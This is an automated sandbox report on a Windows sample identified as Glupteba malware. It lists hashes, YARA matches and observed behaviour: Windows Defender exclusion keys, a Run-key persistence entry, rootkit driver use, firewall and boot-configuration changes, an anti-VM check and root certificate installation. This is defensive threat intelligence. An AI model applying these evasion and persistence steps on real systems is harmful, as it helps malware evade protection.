Analysis
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max time kernel
146s -
max time network
145s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
13-06-2024 16:53
Static task
static1
Behavioral task
behavioral1
Sample
a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe
Resource
win7-20240508-en
General
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Target
a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe
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Size
3.7MB
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MD5
a6996f92201f52dfbfd85c841d6c8d04
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SHA1
48a880fbd32d897ae019d1b1237aad3e7586ee2b
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SHA256
7d6252a0581bc43ac81e53210cbca042202ac43acec17dfe59eca5cea30dfdd8
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SHA512
d49ccb8cee040ce46c24f14439141fbf3d2eacbb16c76afbf504bfb865e5135c9e02f32d4e4db720e1de29688e6630f4f1d37df041b3c6631db0f756919a5fbe
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SSDEEP
98304:Ob09+64ZfKhGeWcR2wG3iC/KpHmH3GkY/2a/xB:qO6ZfKh5wc5m2JJ7
Malware Config
Signatures
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Glupteba payload 23 IoCs
Processes:
resource yara_rule behavioral1/memory/2284-2-0x00000000018E0000-0x0000000001FDC000-memory.dmp family_glupteba behavioral1/memory/2284-3-0x0000000000400000-0x0000000000B16000-memory.dmp family_glupteba behavioral1/memory/2284-4-0x0000000000400000-0x0000000001319000-memory.dmp family_glupteba behavioral1/memory/2284-7-0x0000000000400000-0x0000000000B16000-memory.dmp family_glupteba behavioral1/memory/2284-5-0x00000000018E0000-0x0000000001FDC000-memory.dmp family_glupteba behavioral1/memory/2616-10-0x0000000000400000-0x0000000001319000-memory.dmp family_glupteba behavioral1/memory/2616-11-0x0000000000400000-0x0000000001319000-memory.dmp family_glupteba behavioral1/memory/2616-21-0x0000000000400000-0x0000000001319000-memory.dmp family_glupteba behavioral1/memory/2900-23-0x0000000000400000-0x0000000001319000-memory.dmp family_glupteba behavioral1/memory/620-53-0x0000000140000000-0x00000001405E8000-memory.dmp family_glupteba behavioral1/memory/2900-55-0x0000000000400000-0x0000000001319000-memory.dmp family_glupteba behavioral1/memory/2900-56-0x0000000000400000-0x0000000001319000-memory.dmp family_glupteba behavioral1/memory/2900-64-0x0000000000400000-0x0000000001319000-memory.dmp family_glupteba behavioral1/memory/2900-65-0x0000000000400000-0x0000000001319000-memory.dmp family_glupteba behavioral1/memory/2900-66-0x0000000000400000-0x0000000001319000-memory.dmp family_glupteba behavioral1/memory/2900-68-0x0000000000400000-0x0000000001319000-memory.dmp family_glupteba behavioral1/memory/2900-69-0x0000000000400000-0x0000000001319000-memory.dmp family_glupteba behavioral1/memory/2900-70-0x0000000000400000-0x0000000001319000-memory.dmp family_glupteba behavioral1/memory/2900-71-0x0000000000400000-0x0000000001319000-memory.dmp family_glupteba behavioral1/memory/2900-72-0x0000000000400000-0x0000000001319000-memory.dmp family_glupteba behavioral1/memory/2900-73-0x0000000000400000-0x0000000001319000-memory.dmp family_glupteba behavioral1/memory/2900-74-0x0000000000400000-0x0000000001319000-memory.dmp family_glupteba behavioral1/memory/2900-75-0x0000000000400000-0x0000000001319000-memory.dmp family_glupteba -
Processes:
a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exedescription ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\DampFlower = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\1b8bb85736b7.exe = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\1b8bb85736b7 = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe -
Modifies Windows Firewall 2 TTPs 1 IoCs
Processes:
netsh.exepid Process 2468 netsh.exe -
Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid Process 2900 csrss.exe 620 patch.exe -
Loads dropped DLL 11 IoCs
Processes:
a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exepatch.exepid Process 2616 a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe 2616 a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe 856 620 patch.exe 620 patch.exe 620 patch.exe 620 patch.exe 620 patch.exe 620 patch.exe 620 patch.exe 620 patch.exe -
Processes:
a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exedescription ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\DampFlower = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\1b8bb85736b7.exe = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\1b8bb85736b7 = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exedescription ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Windows\CurrentVersion\Run\DampFlower = "\"C:\\Windows\\rss\\csrss.exe\"" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
Processes:
csrss.exedescription ioc Process File opened for modification \??\WinMonFS csrss.exe -
Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid Process 2328 bcdedit.exe -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
Processes:
a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exedescription ioc Process File opened (read-only) \??\VBoxMiniRdrDN a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe -
Drops file in Windows directory 3 IoCs
Processes:
makecab.exea6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exedescription ioc Process File created C:\Windows\Logs\CBS\CbsPersist_20240613165328.cab makecab.exe File opened for modification C:\Windows\rss a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe File created C:\Windows\rss\csrss.exe a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid Process 2104 schtasks.exe 840 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exenetsh.exedescription ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-522 = "N. Central Asia Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-552 = "North Asia Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-421 = "Russian Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time" a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe -
Processes:
csrss.exedescription ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exea6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.execsrss.exepid Process 2284 a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe 2616 a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe 2900 csrss.exe 2900 csrss.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
